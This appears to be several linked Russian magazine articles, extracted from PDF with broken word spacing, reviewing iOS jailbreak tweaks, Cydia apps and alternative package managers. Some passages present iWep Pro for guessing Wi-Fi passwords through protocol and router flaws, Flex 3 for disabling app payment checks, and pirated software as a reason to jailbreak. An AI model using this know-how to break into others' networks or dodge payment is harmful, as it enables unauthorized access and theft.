малень ких и мон тировать из них один. В общем, Сти вен Спил берг не одоб- 
ряет.

Соз датели RecordPause решили эту проб лему, добавив в «Камеру» воз- 
можность пос тавить видео на паузу во вре мя съем ки. Сде лать это мож но дол- 
гим касани ем кноп ки, вклю чающей запись. Что бы про дол жить съем ку, нуж но
нажать кноп ку еще раз. Удоб но!

COLORMYBATTERY
«Здрась те, батарей ку пок рась те», — ска зал раз работ чик  и при думал
твик ColorMyBattery. На ста рых айфо нах инди катор батарей ки пред став лен дву- 
мя спо соба ми: в виде стан дар тно го знач ка или в виде инди като ра с про цен- 
тами заряд ки. В сов ремен ных вер сиях iOS фун кцию отоб ражения про цен тов
убра ли, что бы в оче ред ной раз не лишать поль зовате лей Apple нер вных кле ток,
коих у них оста лось не так уж и мно го. Твик под наз вани ем ColorMyBattery
не толь ко реша ет эту проб лему и поз воля ет вер нуть себе укра ден ные ребята- 
ми из Apple про цен тики, но и дает воз можность нас тро ить цвет инди като ра
батареи в зависи мос ти от уров ня ее заряда.

@imkpatil

ColorMyBattery

Раз работ чики тви ка раз делили уро вень заряда акку муля тора на десять ста дий
по 10% от 0 (батарея пол ностью раз ряжена, ищи розет ку) до 100. Каж дому
из этих диапа зонов мож но наз начить свой цвет. Теперь дос таточ но одно го бег- 
лого взгля да на экран, что бы понять, сколь ко тво ему айфо ну оста лось жить
на этом уров не заряда.

CARRIERIZER
Ес ли вдруг ты стес няешь ся, что твой айфон под клю чен к какому-нибудь опе- 
рато ру «Грам мофон», обя затель но уста нови твик Carrierizer. Он поз воля ет:

за дать про изволь ное наз вание опе рато ра свя зи;•
из менить текст, который отоб ража ется при отсутс твии сим-кар ты;•
пол ностью скрыть наз вание опе рато ра;•
вы вес ти фей ковое сооб щение о том, что ты находишь ся вне зоны дей ствия
сети;

•

вы вес ти фей ковое сооб щение о том, что в телефо не уста нов лены две
сим-кар ты;

•

по казать твой IP-адрес вмес то наз вания опе рато ра.•

Carrierizer

При вклю чении некото рых фун кций тви ка
HomeGesture, уби рающих отоб ражение име ни
опе рато ра свя зи, Carrierizer работать не будет.
Что бы твик работал, не перед вигай пол зунок
iPhone X Style Status Bar в менюш ке тви ка
HomeGesture из вык лючен ного положе ния.

HIDEYOURAPPS
Те перь мож но скрыть «Тин дер» на телефо не, если ты опа саешь ся, что его уви- 
дит твоя девуш ка. Вос поль зовав шись тви ком HideYourApps, ты зас тавишь
исчезнуть с рабоче го сто ла зна чок любого уста нов ленно го при ложе ния. Спи сок
при ложе ний находит ся в меню нас тро ек тви ка и откры вает ся, если нажать над- 
пись Select apps to hide.

HideYourApps

Пе ред винув перек лючатель впра во, ты пря чешь любое уста нов ленное
на телефо не при ложе ние (прог раммы, уста нов ленные из Cydia, сюда так же
вхо дят). Что бы вер нуть его на мес то, сно ва зай ди в нас трой ки HideYourApps
и перек лючи пол зунок в обратное положе ние. Единс твен ный спо соб про дол- 
жать поль зовать ся скры тым при ложе нием — это при вязать его запуск
к какому-либо дей ствию при помощи тви ка Activator (о нем погово рим чуть
поз же).

Продолжение статьи →
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https://xakep.ru/2019/10/29/ios12-jailbreak/
https://4pda.to/forum/index.php?showtopic=1008624
https://4pda.to/forum/index.php?showtopic=967221&st=1920#entry93940508
https://xakep.ru/2019/11/21/checkra1n/
http://twitter.com/imkpatil
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COVERSTORY  НАЧАЛО СТАТЬИ←

DELETEFOREVER
При уда лении фото и видео с айфо на эти фай лы скла дыва ются в пап ку «Недав- 
но уда лен ные», отку да их мож но либо вос ста новить (вдруг ты переду мал?),
либо уда лить уже окон чатель но и нав сегда. Но что делать, ког да на экра не
выс ветилось уве дом ление, что память закон чилась, а тебе надо ело уда лять
фот ки в два эта па, что бы осво бодить ее? Твик DeleteForever дает воз можность
изба вить ся от всех изоб ражений и видео одним нажати ем.

DeleteForever

Пос ле его уста нов ки в допол нение к стан дар тной фун кции «Уда лить фото»,
которую вызыва ют нажати ем на изоб ражение мусор ной кор зины в кон текс тном
меню, появ ляет ся кноп ка «Permanently Уда лить фото». Она поз воля ет мгно вен- 
но изба вить ся от все го ком про мети рующе го тебя фото- и виде ома тери ала
без резер вно го копиро вания на iCloud или помеще ния его во вре мен ную пап- 
ку. Теперь под руга точ но не най дет твои дик пики, пусть даже не пыта ется!

HOMEGESTURE
Все вок руг ходят с сов ремен ными айфон чиками, а ты слил все сбе реже ния
в крип ту, поэто му у тебя не оста лось денег на что-то дороже «шес терки»?
С HomeGesture это боль ше не проб лема. Один из луч ших джей лбрейк-тви ков
iOS 12 поз воля ет перенес ти при выч ные эле мен ты визу аль ного офор мле ния
и жес ты iPhone X на ста рые устрой ства.

В «клас сичес ких» айфо нах все запущен ные при ложе ния вызыва ют двой ным
нажати ем кноп ки Home, в отли чие от сов ремен ных, где то же самое дела ется
свай пом вверх от ниж ней час ти экра на. Твик добав ляет эту фун кцию в iOS 12.
Теперь открыть спи сок запущен ных прог рамм мож но, слег ка смах нув вверх.
Очень удоб но, если кноп ка Home на тво ем древ нем айфо не работа ет через
раз или  она вов се сло малась.ее укра ли тик-токеры

Так же в HomeGesture при сутс тву ет нес коль ко нас тро ек для цен тра управле- 
ния. Сам центр пос ле уста нов ки тви ка перемес тится наверх, а еще на телефо- 
не появит ся воз можность добавить отоб ражение вер хней панели со знач ками
батареи, количес тва оставше гося заряда, под клю чен ного вай фая и дру гими.
При желании в нас трой ках тви ка центр управле ния мож но сдви нуть вверх-вниз
в вер тикаль ной ори ента ции смар тфо на и вле во-впра во в горизон таль ной.

HomeGesture

Еще одна инте рес ная фича — воз можность сме нить ком бинацию кно пок
для соз дания сним ков экра на и выб рать, какие уго лоч ки (круг лые или квад- 
ратные) будут отоб ражать ся в левом ниж нем углу дис плея при соз дании скри- 
нов. Нап ример, с исполь зовани ем тви ка мож но делать скрин шоты ком бинаци- 
ей кно пок вык лючения и при бав ки гром кости, как на более новых моделях
айфо на, у которых кноп ки Home нет вов се.

Кста ти, HomeGesture добав ляет в ниж нюю часть экра на полос ку, за которую
мож но «схва тить» при ложе ние при свай пе вверх — как на iPhone X и более
стар ших моделях. Сре ди фун кций есть даже выбор цве та этой полос ки. Что
каса ется экра на бло киров ки, здесь раз работ чики тви ка пре дус мотре ли воз- 
можность уда лить отту да кноп ки камеры и фонари ка, три точ ки, отоб ража ющие
твое переме щение по вклад кам экра на, и даже над пись Swipe Up to Unlock.

Счас тли вых вла дель цев девай сов под управле нием iOS 11 HomeGesture
пораду ет еще пароч кой инте рес ных воз можнос тей, а имен но:

от клю чение жес тов для экранной кла виату ры;•
чер ный спи сок при ложе ний. Сюда мож но вклю чить все при ложе ния,
для которых ты не хочешь исполь зовать изме нение внеш него вида и дру гие
воз можнос ти тви ка;

•

от клю чение жес тов тви ка для выб ранных тобой при ложе ний.•

ACTIVATOR
Один из наибо лее извес тных тви ков. Он поз воля ет наз начить дей ствия
в интерфей се опе раци онной сис темы при помощи аппа рат ных ком понен тов
айфо на — дис плея, аксе леро мет ра, перек лючате лей. Из-за его популяр ности
мно гие джей лбрейк-раз работ чики уже на про тяже нии нес коль ких лет соз дают
пла гины, которые мож но под клю чить толь ко через Activator. Что бы их прос- 
мотреть, наж ми кноп ку «Боль ше дей ствий» в меню нас тро ек это го тви ка.

Спи сок воз можнос тей самого «Акти вато ра» весь ма обши рен. По прин ципу
дей ствия твик напоми нает встро енное в iOS при ложе ние «Коман ды», но «Акти- 
ватор» гораз до более прос той и инту итив но понят ный в исполь зовании. Воз- 
можные дей ствия поль зовате ля в нас трой ках раз делены на нес коль ко катего- 
рий:

ак селеро метр — пот рясти телефон;•
до маш ний экран — про вес ти по знач ку вверх, вниз, впра во, вле во, а так же
раз вести и свес ти паль цы, кос нувшись экра на;

•

кноп ка «Сон» — раз личные виды нажатия (двой ное, длин ное, корот кое),
так же нажатие одновре мен но с кноп ками управле ния гром костью;

•

кноп ки гром кости — вклю чить, вык лючить, нажать одну, вто рую или обе
сра зу, удер живать кноп ки;

•

жес ты муль титач — касание экра на и жес ты с исполь зовани ем нес коль ких
паль цев;

•

вклю чение и отклю чение питания.•

К каж дому из этих дей ствий мож но при вязать реак цию. Какую? Да прак тичес ки
любую, выбор огра ничи вает ся толь ко тво ей фан тази ей. Мож но управлять про- 
игры вани ем аудио и гром костью зву ка, зас тавить камеру сде лать сни мок,
открыть про изволь ный раз дел из меню нас тро ек (в том чис ле и нас тро ек тви- 
ков), заб локиро вать экран, запус тить любое при ложе ние, пос тавить тай мер
или будиль ник, вклю чить или вык лючить Bluetooth, ави аре жим, фонарик, VPN,
даже соз дать пус тое сооб щение элек трон ной поч ты или пост в соц сетях. И еще
очень, очень мно го все го на любой вкус и цвет. В общем, если ты хочешь, что- 
бы, падая на кафель ный пол, твой айфон чик отпра вил тебе про щаль ный твит,
исполь зуй Activator c при вяз кой это го дей ствия к аксе леро мет ру.

Activator

Ко личес тво все воз можных нас тро ек здесь нас толь ко огромно, что напоми нает
инс трук цию к анти деп рессан там, толь ко в отли чие от пос ледних, наобо рот,
вго няет в деп рессию. Тер пения и вре мени поп робовать весь набор фун кций
мне не хва тило, но я верю, что ты осво ишь все без исклю чения воз можнос ти
Activator!

REALCC
Ког да ты отклю чаешь Wi-Fi или Bluetooth в цен тре управле ния iOS, они
на самом деле не выруба ются, а лишь прек раща ют поиск сети и сбра сыва ют
все под клю чения, но про дол жают работать в фоне, высажи вая батарею. Испра- 
вить это поможет RealCC.

Обыч но для пол ного отклю чения сети тре бует ся зай ти в нас трой ки и вос- 
поль зовать ся соот ветс тву ющи ми перек лючате лями. Пос ле уста нов ки RealCC
пол ностью вык лючить Wi-Fi и Bluetooth мож но пря мо в цен тре управле ния,
при этом ты будешь уве рен, что они дей стви тель но реаль но выруб лены.

RealCC

Ви зуаль но раз ница вид на даже в том, как под све чива ются вык лючен ные кноп- 
ки с тви ком и без него. Твик, к сло ву, не отоб ража ется в меню нас тро ек, но так
даже луч ше — его и нас тра ивать не надо.

SHORTLOOK
Твик меня ет сис тему уве дом лений на заб локиро ван ном экра не. Давай
говорить откро вен но: стан дар тные уве дом ления в iOS страш ны, как сон алко- 
голи ка. ShortLook добав ляет при их появ лении эффект ани мации: икон ка уве- 
дом ления плав но уве личи вает ся, а рядом демонс три рует ся превью самого
сооб щения-уве дом ления. Выг лядит это при коль но, клас сно, сим патич но…
в общем, вставь сюда еще 25 вос торжен ных слов.

ShortLook

TOLDYOUPREFERENCES
Рас ширение поз воля ет выводить любое задан ное тобой сооб щение в сти ле
стан дар тно го сис темно го уве дом ления на экран заб локиро ван ного смар тфо на,
если ввес ти неп равиль ный пароль или неп равиль но сра бота ют Touch ID и Face
ID. Пер сонаж, попытав ший ся уга дать твой пароль, что бы полазить в чужом
телефо не, будет очень силь но удив лен. Я бы даже ска зала, фрус три рован
(что бы это умное сло во ни зна чило).

Так работа ет ToldYouPreferences

Так же в сос таве тви ка есть фун кция, с помощью которой мож но зас тавить бед- 
ную Сири нагово рить гадос тей тво ему недоб рожела телю. Прос тым и понят ным
рус ским матом. Кро ме того, фрон таль ная камера в момент неп равиль ного
вво да пароля сде лает сни мок зло умыш ленни ка, дабы окон чатель но испортить
его безуп речную репута цию.

ÂÛÂÎÄÛ
Для чего люди вооб ще дела ют на сво ем телефо не джей лбрейк? При чин может
быть нес коль ко.
1. Что бы вдо воль наиг рать ся со ста рым железом и исполь зовать уста рев шие

вер сии при ложе ний, отсутс тву ющие в App Store.
2. Что бы уста новить пират ские вер сии соф та, за который не можешь зап- 

латить из-за сан кций или по при чине «нету денех».
3. Для тви кин га и укра шатель ства iOS, если юзе ру не хва тает стан дар тно го

набора фун кций.

С укра шатель ства ми мы в сегод няшней статье бла гопо луч но разоб рались.
В сле дующий раз погово рим об инте рес ных при ложе ниях, которые мож но
добыть из недр Cydia.
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Для чего вла дель цы айфо нов дела ют
джей лбрейк? Конеч но же, что бы улуч шить
и укра сить интерфейс сис темы с помощью
мно гочис ленных тви ков. Но, помимо это- 
го, джей лбрейк поз воля ет уста новить
на телефон мно жес тво полез ных при ложе- 
ний, которых нет и никог да не будет в офи- 
циаль ном App Store. Сегод ня мы рас смот- 
рим самые инте рес ные из них.

В  мы уже писали о том, что на айфон с джей лбрей ком мож но
ска чать мно жес тво тви ков, поз воля ющих менять скры тые нас трой ки iOS
и добав лять в интерфейс сис темы все воз можные укра шатель ства. Одна ко,
как говари вал Ква зимо до, одной кра соты для пол ного счастья недос таточ но.

прош лой статье

Ме нед жер пакетов Cydia откры вает дос туп к широчай шему ассорти мен ту
при ложе ний от незави симых раз работ чиков, которые ты совер шенно точ но
не най дешь в App Store. Преж де все го потому, что боль шинс тво из них исполь- 
зует воз можнос ти джей лбрей ка — на обыч ном iPhone или iPad такие фун кции
поп росту отсутс тву ют. Сегод ня мы раз берем нес коль ко самых инте рес ных
и полез ных прог рамм, которые точ но пой дут на iPhone с iOS 12.5.5 и на более
новых девай сах.

Cydia — это менед жер .deb-пакетов, который поз- 
воля ет уста нав ливать на iPhone и iPad с джей- 
лбрей ком прог раммы из сто рон них репози тори ев.
При выпол нении джей лбрей ка с исполь зовани ем
боль шинс тва стан дар тных методов это при ложе- 
ние появ ляет ся на телефо не авто мати чес ки.
О том, как взло мать айфон и уста новить на него
Cydia, читай в «Хакере»:
•Как сло мать ябло ко. Пошаго вая инс трук ция

по джей лбрей ку iOS 12
•Шах и мат! Как устро ен нашумев ший экс пло ит

checkm8 и как им вос поль зовать ся

FILZA

Каж дый поль зователь ком па — неваж но, «яблочно го» или любого дру гого, —
твер до зна ет: самая глав ная прог рамма в его опе раци онной сис теме —
это  фай ловый менед жер. В iOS фай лового менед жера нет,
потому что у поль зовате ля, в общем-то, нет дос тупа к фай ловой сис теме: стан- 
дар тное при ложе ние Files показы вает толь ко содер жимое нес коль ких папок
на самом устрой стве, в iCloud Drive и в дру гих облачных хра нили щах. Мож но ли
это наз вать пол ноцен ным инс тру мен том для работы с фай лами? Воп рос
ритори чес кий.

пась янс «Косын ка»

Фай ловый менед жер для iOS Filza

А вот прог рамма Filza, которую мож но уста новить на взло ман ный айфон
из Cydia, откры вает пол ный дос туп ко всем хра нящим ся на устрой стве пап кам
и фай лам, вклю чая сис темные. С помощью Filza тебе ста нут дос тупны все
стан дар тные опе рации с фай ловыми объ екта ми, вклю чая перенос, пере име- 
нова ние, уда ление и копиро вание с исполь зовани ем буфера обме на. Кро ме
того, при ложе ние име ет боль шое количес тво нас тро ек: начиная от внеш него
вида (мож но вклю чить отоб ражение фай лов и папок в сти ле Windows, macOS
или Linux) и закан чивая тон кой нас трой кой интерфей са.

Прог рамма, к сло ву, сто ит 5,99 дол лара и опла чива ется с помощью PayPal,
но все основные фун кции для работы с фай лами и пап ками дос тупны с проб- 
ной лицен зией. Filza поз волит тебе заг лянуть в самые пыль ные зако улки тво его
айфо на. Так что, если вдруг однажды ты решишь почис тить телефон от вся кого
хла ма и заод но отпра вить  в , Filza тебе обя затель но в этом

поможет.

\boot\ \dev\null

ICLEANER

Кста ти, про очис тку от хла ма. Поль зовате ли Windows прек расно зна комы
с CCleaner — ути литой, спо соб ной решать мно жес тво полез ных задач: уда лять
вре мен ные и ненуж ные фай лы, чис тить кеш, 
и даже . Ана лог дан ной тул зы для взло ман ной iOS —
iCleaner.

сле дить за поль зовате лями
рас простра нять мал варь

iCleaner — ути лита для убор ки мусора iOS

Это при ложе ние приз вано уби рать мусор в iOS и уда лять ненуж ные фай лы,
которые ты выбира ешь по катего риям: вло жения в сооб щени ях мес сен дже ров,
кеш Safari, обновле ния опе раци онной сис темы, жур налы, вре мен ные фай лы,
ста тис тика акку муля тора... В отдель ном окне нас тро ек мож но ука зать при- 
ложе ния, дан ные которых не будут очи щены. Прог рамма тоже плат ная (сто- 
имость — 4,99 евро), но прек расно работа ет и в бес плат ном режиме, прав да
нас тырно показы вает при этом рек ламу.

MTERMINAL

Ес ли ты нас тоящий хакер, тебе точ но не обой тись без тер минала. А на айфо не
с джей лом впол не мож но исполь зовать этот инс тру мент, было бы желание!

MTerminal — эму лятор тер минала для iOS

Я переп робовал раз ные эму лято ры тер минала из дос тупных в Cydia — на моем
телефо не завел ся толь ко MTerminal, пред став ляющий собой форк широко
извес тно го в узких кру гах Mobile Terminal (который, к сло ву, работать наот рез
отка зал ся). Тер минал запус кает ся от име ни поль зовате ля  и поз воля ет
выпол нять основной набор кон соль ных команд. Нас тро ек в этой ути лите
не пре дус мотре но никаких, но, нес мотря на это, поль зовать ся ей впол не мож- 
но. Раз ве что шрифт мел коват.

mobile

IWEP PRO

Эта прог рамма пред назна чена для взло ма паролей Wi-Fi и тес тирова ния уяз- 
вимос тей бес про вод ных сетей.

При ложе ние исполь зует извес тные уяз вимос ти в про токо лах WEP и WPA,
а так же в про шив ках популяр ных роуте ров, что бы подоб рать пароль к бес про- 
вод ной сети. Тип роуте ра опре деля ется авто мати чес ки: запус тив прог рамму,
прос то выбери в спис ке одну из дос тупных бес про вод ных сетей (Wi-Fi
на айфо не дол жен быть, разуме ется, вклю чен) и наж ми зна чок i рядом с нуж- 
ным тебе SSID.

iWep Pro — прог рамма для тес тирова ния бес про вод ных сетей и под бора
паролей

Ес ли уяз вимос тей для этой сети не обна ружит ся, в раз деле Password Exploit
в ниж ней час ти экра на будет написа но Not Supported. В про тив ном слу чае
мож но попытать ся подоб рать пароль, нажав на над пись Press to start.
Для моего вай фая прог рамма уяз вимос тей не наш ла, для сосед ских, к сожале- 
нию, тоже, зато смо га отыс кать поб лизос ти две скры тые сети, о сущес тво- 
вании которых я рань ше даже не подоз ревал.

SNAPBACK

Каж дый поль зователь вин ды прек расно зна ет, как работа ет ути лита «Вос ста- 
нов ление сис темы». Тул за соз дает так называ емые точ ки вос ста нов ления,
выб рав одну из которых мож но вер нуть Windows в то сос тояние, в котором она
была на момент соз дания этой точ ки. При мер но то же самое дела ет при ложе- 
ние SnapBack на айфо не. А пос коль ку для работы ему тре бует ся непос редс- 
твен ный дос туп к фай ловой сис теме APFS от Apple, без джей лбрей ка тут
не обой тись.

SnapBack — тул за для соз дания «момен таль ных сним ков» сос тояния iOS

Джей лбрейк поз воля ет SnapBack соз давать «момен таль ные сним ки» сос- 
тояния iOS от име ни супер поль зовате ля root. При пер вом запус ке при ложе ние
авто мати чес ки сох ранит снап шот под име нем orig-fs — это ори гиналь ный сни- 
мок, который был сде лан самой ОС либо пря мо перед пер вым джей лбрей ком,
либо при пос леднем обновле нии. Сле дующие точ ки вос ста нов ления мож но
соз давать вруч ную и прис ваивать им любые име на. При необ ходимос ти
получит ся вер нуть смар тфон в исходное сос тояние, выб рав нуж ный снап- 
шот, — это быва ет очень полез но, если ты уста новил на свой айфон какую-то
прог рамму из Cydia, которая «сло мала» нор маль ную работу сис темы.

AIRSHOU

AirShou Screen Recorder — это прог рамма для виде оза писи экра на в iOS.
Записы вать мож но как в пор трет ной, так и в аль бом ной ори ента ции, выб рав
тре буемое качес тво видео: 480p, 640p, 720 или 1080p. При ложе ние записы- 
вает звук в сте рео и сох раня ет ито говый файл в фор мате MP4.

AirShou Screen Recorder

По лучен ные записи мож но исполь зовать, нап ример, что бы соз дать обу чающие
ролики или про демонс три ровать игро вой про цесс. По боль шому сче ту джей- 
лбрейк для работы AirShou необя зате лен, но это при ложе ние дос тупно в Cydia,
и его мож но уста новить отту да, минуя App Store.

ITRANSMISSION

iTransmission — один из самых популяр ных тор рент-кли ентов для устрой ств
iPhone и iPad. Если ты всег да меч тал прев ратить свой айфон в тор ренто качал ку
и прос матри вать на нем пират ские филь мы с «Рут рекера», iTransmission —
это то, что тебе нуж но.

iTransmission — тор рент-кли ент для iOS

При ложе ние под держи вает iOS вер сий 10–14 и вклю чает прак тичес ки все фун- 
кции, при сущие обыч ному тор рент-кли енту. Для начала заг рузки тор рента нуж- 
но ввес ти в при ложе ние URL фай ла  или Magnet-ссыл ку. А мож но
прос то открыть встро енный в iTransmission бра узер и отыс кать нуж ный линк
пря мо там. В нас трой ках ты можешь задать порт, ука зать ско рость закач ки
и раз дачи, выб рать мак сималь ное количес тво соеди нений, возоб новить при- 
оста нов ленные или прер ванные заг рузки.

.torrent

В окне iTransmission демонс три руют ся све дения о тор рент-фай лах, вклю чая
их раз мер, количес тво пиров, ско рость закач ки, чис ло дос тупных фраг ментов.
Там же мож но прос матри вать содер жимое тор рентов и редак тировать спи сок
тре керов. Прог рамма поз воля ет откры вать тор рент-ссыл ки пря мо из Safari,
а ска чан ные фай лы сох раня ются в выб ранную пап ку, содер жимое которой ты
можешь прос мотреть, нап ример, с помощью Filza.

FLEX 3

Эта прог рамма пред назна чена для соз дания собс твен ных тви ков на айфо нах
с джей лбрей ком. При ложе ние плат ное, но вер сия 3, пред став ленная в виде
пуб личной беты, лежит в Cydia в халяв ном дос тупе — любой жела ющий может
ска чать ее и уста новить на сво ем девай се.

Flex 3 — при ложе ние для соз дания собс твен ных тви ков

Прог рамма поз воля ет выб рать при ложе ния на телефо не — как стан дар тные
из ком плек та пос тавки iOS, вклю чая основное при ложе ние «Нас трой ки», так
и уста нов ленные поз же — и соз дать для них патч с тви ками и допол нитель- 
ными опци ями. Выб рав при ложе ние в спис ке и нажав на его зна чок, ты узна- 
ешь, что в нем мож но изме нить. Нап ример, в некото рых прог раммах для iOS
есть воз можность отклю чить обя затель ное тре бова ние об опла те или раз бло- 
киро вать некото рые фун кции, недос тупные в деморе жиме. Весь ма полез ный
инс тру мент, не так ли?

SUCCESSION

Это при ложе ние уда ляет все изме нения, вне сен ные в устрой ство пос ле джей- 
лбрей ка, и поз воля ет вер нуть iOS к «сто ково му» сос тоянию, в котором сис тема
находи лась изна чаль но. Очень полез ная фун кция, которая может при годить ся
тебе, если ты слиш ком увлекся тви ками и залез в глу бокие нас трой ки телефо- 
на сво ими шалов ливыми руч ками.

Succession — все мож но вер нуть!

С Succession у тебя всег да оста ется шанс начать все с чис того лис та и сно ва
сде лать джей лбрейк, не сбра сывая девайс к завод ским нас трой кам штат ными
метода ми. Так же Succession дает воз можность уда лить при ложе ние Cydia,
если это не получа ется сде лать ина че.

Будь осто рожен! Этот инс тру мент уда лит все
дан ные на устрой стве, если ты не вклю чишь
в нас трой ках опцию «Толь ко вос ста нов ление сис- 
темных дан ных» (Only Restore System Data).

ÂÛÂÎÄÛ

При ложе ний, которые мож но уста новить на айфон с джей лбрей ком, великое
мно жес тво. В этой статье мы крат ко рас смот рели толь ко самые популяр ные
и инте рес ные из них. Мно гие из пред став ленных в Cydia прог рамм — плат ные,
некото рые под держи вают исклю читель но ста рые вер сии iOS, дру гие и вов се
могут «завесить» телефон, отпра вив его в режим «веч ного ябло ка» (у меня
однажды слу чилась такая неп рият ность: приш лось заг ружать айфон в Recovery
Mode и заливать в него чис тую про шив ку с помощью iTunes). Поэто му при уста- 
нов ке при ложе ний из сто рон них источни ков сле дует соб людать опре делен ную
осмотри тель ность.

Ну а если ты не нашел в Cydia нуж ного тебе при ложе ния, мож но под клю чить
допол нитель ные репози тории, спи сок которых нет рудно отыс кать в интерне те.

1. Открой Cydia и наж ми кноп ку «Источни ки» в ниж ней час ти окна.
2. Наж ми над пись «Добавить» сле ва ввер ху.
3. Вве ди URL репози тория в открыв шемся окне и наж ми «Добавить».

До бав ление новых репози тори ев в Cydia

Ес ли тебе недос таточ но и это го, мож но уста новить аль тер натив ные магази ны
при ложе ний, ана логич ные Cydia, — каж дый из них отли чает ся сво ими осо бен- 
ностя ми и воз можнос тями. Одна ко это уже тема для отдель ной статьи.

mailto:valentin@holmogorov.ru
https://xakep.ru/2022/06/22/cydia-2022/
https://xakep.ru/2019/10/29/ios12-jailbreak/
https://xakep.ru/2019/11/21/checkra1n/
https://xakep.ru/2018/08/06/ccleaner-monitoring/
https://xakep.ru/2017/09/18/ccleaner-malware/
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Ос новное пре иму щес тво Cydia по срав- 
нению со стан дар тным магази ном при- 
ложе ний для iOS — App Store — зак люча- 
ется в воз можнос ти под клю чать сто рон ние
репози тории. Если какое-то при ложе ние
отсутс тву ет в нас тро енных по умол чанию
хра нили щах, оно навер няка най дет ся
во внеш них. Но новых вер сий Cydia уже
дав но не выходит, а с пос ледни ми редак- 
циями iOS это при ложе ние работа ет нес- 
табиль но. Одна ко есть выход: на айфон
с джей лбрей ком мож но уста новить аль тер- 
натив ные пакет ные менед жеры, о которых
мы сегод ня и погово рим.

О том, как сде лать джей лбрейк и как он работа- 
ет, мы рас ска зыва ли в статье «

». Об исполь зовании тви ков,
поз воля ющих менять скры тые нас трой ки iOS
и добав лять в интерфейс сис темы все воз можные
укра шатель ства, рас ска зыва ет статья «

». Самые инте рес ные при- 
ложе ния для айфо нов с джей лбрей ком опи саны
в матери але «

».

Шах и мат!
Как устро ен нашумев ший экс пло ит checkm8 и как
им вос поль зовать ся

Cydia
2022. Укра шаем iOS с джей лбрей ком при помощи
неофи циаль ных тви ков

Cydia 2022. Ста вим самые инте- 
рес ные при ложе ния для iOS с джей лбрей ком

Все, кто стал кивал ся с джей лбрей ком, зна ют, как работа ет Cydia. Опе раци- 
онная сис тема iOS пред став ляет собой раз новид ность Unix. В офи циаль ном
магази не App Store при ложе ния хра нят ся в виде архивных фай лов с рас- 
ширени ем , име ющих циф ровую под пись. По боль шому сче ту  —

это ZIP-архив, внут ри которо го пря чет ся исполня емый файл.

.ipa .ipa

А еще iOS понима ет бинар ные фай лы фор мата , при шед шие в про дук- 

цию Apple из ОС семей ства Debian, прав да, уста новить их мож но толь ко
на телефон с джей лбрей ком. Для работы с ними в iOS есть сис тема управле- 
ния пакета ми dpkg — она исполь зует ся при уста нов ке, уда лении .deb-пакетов
и получе нии информа ции о них. Так вот, мож но ска зать, что Cydia — это гра- 
фичес кая надс трой ка над этой ути литой. И поч ти все аль тер натив ные «магази- 
ны при ложе ний» для взло ман ных айфо нов устро ены в точ ности так же,
при этом каж дый име ет свои осо бен ности. Им и пос вящен наш сегод няшний
обзор.

.deb

Для уста нов ки боль шинс тва аль тер натив ных магази нов при ложе ний
с помощью Cydia в ней необ ходимо под клю чить допол нитель ные репози тории.
Дела ется это так:
1. Открой Cydia и обно ви при ложе ние, если оно об этом поп росит.
2. Наж ми кноп ку «Источни ки» в ниж ней час ти окна.
3. Наж ми над пись «Прав ка» в пра вой вер хней час ти окна, затем «Добавить»

сле ва ввер ху.
4. Вве ди URL репози тория в открыв шемся окне и наж ми «Добавить».

SILEO

Что бы уста новить при ложе ние Sileo, в Cydia нуж но добавить репози торий
. Затем в спис ке источни ков Cydia выбери ,

в одно имен ном раз деле — «Все пакеты». На этом экра не при сутс тву ет толь ко
один пункт — Sileo. Наж ми «Изме нить», затем «Уста новить», «При нять» и дож- 
дись завер шения уста нов ки. Зна чок при ложе ния появит ся на экра не тво его
iPhone.

https://repo.getsileo.app Sileo

Ус танов ка Sileo

Внеш не Sileo боль ше напоми нает при выч ный нам App Store, чем Cydia.
На глав ном экра не демонс три рует ся спи сок самых популяр ных при ложе ний,
вни зу — нес коль ко кно пок: избран ные при ложе ния, перечень новых пакетов,
недав но добав ленных в Sileo, «Источни ки» — при уста нов ке прог рамма «под- 
хва тыва ет» под клю чен ные репози тории из Cydia, «Пакеты» — здесь соб рана
информа ция об уже уста нов ленных на тво ем устрой стве пакетах — и, наконец,
«Поиск». Как и в Cydia, эта вол шебная кноп ка поз воля ет най ти инте ресу ющее
тебя при ложе ние сре ди дос тупных в репози тори ях.

Sileo

Ук раша ет этот менед жер пакетов пап ка «Спи сок желаний» (пря мо как в Steam,
да?) — ссыл ка на нее появ ляет ся в пра вой вер хней час ти экра на. Во вре мя
поис ка сюда мож но добав лять при ложе ния, которые тебя заин тересо вали,
но которые ты пока не готов уста новить на сво ем iPhone, нап ример из-за
дефици та сво бод ного мес та.

Sileo может пох вастать ся более стиль ным и акку рат ным интерфей сом, чем
Cydia, что и неуди витель но: новых вер сий Cydia не выходи ло уже доволь но
дав но, и это при ложе ние име ет огра ничен ную сов мести мость с новыми вер- 
сиями iOS, в то вре мя как Sileo работа ет на них без проб лем. По ощу щени ям,
при ложе ния из Sileo заг ружа ются и уста нав лива ются гораз до быс трее. Кро ме
того, ходят упор ные слу хи, что эти два пакет ных менед жера кон флик туют друг
с дру гом, но сущес тву ют тви ки, поз воля ющие им работать вмес те на одном
устрой стве. У меня они оба завелись без вся ких допол нитель ных тан цев с буб- 
ном и работа ют впол не ста биль но.

ZEBRA

Zebra — это не толь ко забав ная полоса тая лошад ка, но еще и доволь но
популяр ный пакет ный менед жер, который мож но уста новить из Cydia. Для это- 
го нуж но под клю чить репози торий  (да, в этом

URL нет бук вы e, и это не оче пят ка!), а затем дей ство вать стан дар тно: зай ти
в окно репози тория непос редс твен но в Cydia, выб рать «Все пакеты → Zebra →
Изме нить → Уста новить → При нять».

https://getzbra.com/repo

Ин терфейс это го магази на при ложе ний весь ма лакони чен. В ниж ней час ти
экра на — ссыл ка на глав ную стра ницу, спи сок источни ков пакетов, стра нич ка
с опи сани ем пос ледних изме нений в прог рамме, перечень уже уста нов ленных
пакетов и, конеч но же, поиск.

Zebra

По умол чанию в «Зеб ре» отсутс тву ют под клю чен ные репози тории (толь ко ее
собс твен ный, в котором ничего, кро ме самой «Зеб ры», нет). Что бы добавить
новое хра нили ще пакетов, перей ди в раз дел «Источни ки», наж ми кноп ку + сле- 
ва ввер ху и вве ди соот ветс тву ющий URL. Пос ле добав ления репози тори ев при- 
ложе нием мож но поль зовать ся в точ ности так же, как и дру гими менед жерами
пакетов, — сущес твен ных отли чий тут нет.

Мно гие счи тают Zebra луч шим пакет ным менед жером для iOS с джей- 
лбрей ком из-за лаконич ного интерфей са и воз можнос тей гиб кой нас трой ки.
Если нажать на зна чок шес терен ки в пра вом вер хнем углу на глав ном экра не
Zebra, откро ется окно, в котором мож но поменять мно жес тво парамет ров при- 
